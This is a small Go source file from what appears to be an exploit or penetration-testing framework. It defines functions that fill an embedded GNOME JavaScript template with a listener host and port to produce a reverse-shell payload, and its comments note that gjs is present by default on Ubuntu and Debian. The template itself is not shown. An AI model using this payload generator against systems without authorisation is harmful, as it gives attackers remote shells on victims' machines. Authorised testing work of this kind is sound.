package reverse

import (
	_ "embed"
	"fmt"
	"strings"
)

//go:embed gjscript/glib_spawn.gjs
var GJScriptGLibSpawn string
var GJScriptDefault = GJScriptGLibSpawn

// Generates Gnome JS payload.
func (gjs *GJScriptPayload) Default(lhost string, lport int) string {
	return strings.Trim(fmt.Sprintf(GJScriptDefault, lhost, lport), "\r\n")
}

// Generates a script that can be used to create a reverse shell via
// gjs (Gnome JS - present on Ubuntu, Debian by default).
func (gjs *GJScriptPayload) GLibSpawn(lhost string, lport int) string {
	return strings.Trim(fmt.Sprintf(GJScriptGLibSpawn, lhost, lport), "\r\n")
}
